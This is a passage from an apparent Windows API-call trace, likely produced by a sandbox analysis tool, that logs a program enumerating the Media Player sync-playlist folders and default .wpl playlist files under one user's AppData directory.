FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0144.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0144.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0 [0144.292] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.293] SetErrorMode (uMode=0x0) returned 0x1 [0144.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x46 [0144.293] SetErrorMode (uMode=0x1) returned 0x0 [0144.293] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0144.295] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.295] SetErrorMode (uMode=0x0) returned 0x1 [0144.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x46 [0144.295] SetErrorMode (uMode=0x1) returned 0x0 [0144.296] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0144.296] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.296] SetErrorMode (uMode=0x0) returned 0x1 [0144.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4c [0144.297] SetErrorMode (uMode=0x1) returned 0x0 [0144.297] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00008B4D", cAlternateFileName="")) returned 1 [0144.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1 [0144.298] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0 [0144.298] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.298] SetErrorMode (uMode=0x0) returned 0x1 [0144.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4c [0144.298] SetErrorMode (uMode=0x1) returned 0x0 [0144.298] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00008B4D", cAlternateFileName="")) returned 1 [0144.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1 [0144.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0 [0144.299] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.299] SetErrorMode (uMode=0x0) returned 0x1 [0144.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D", lpFilePart=0x0) returned 0x55 [0144.300] SetErrorMode (uMode=0x1) returned 0x0 [0144.300] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00008b4d\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0144.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0144.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0144.303] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0144.304] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0144.304] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0144.304] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0144.304] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.305] SetErrorMode (uMode=0x0) returned 0x1 [0144.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D", lpFilePart=0x0) returned 0x55 [0144.305] SetErrorMode (uMode=0x1) returned 0x0 [0144.305] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00008b4d\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0144.307] FindNextFileW (in: 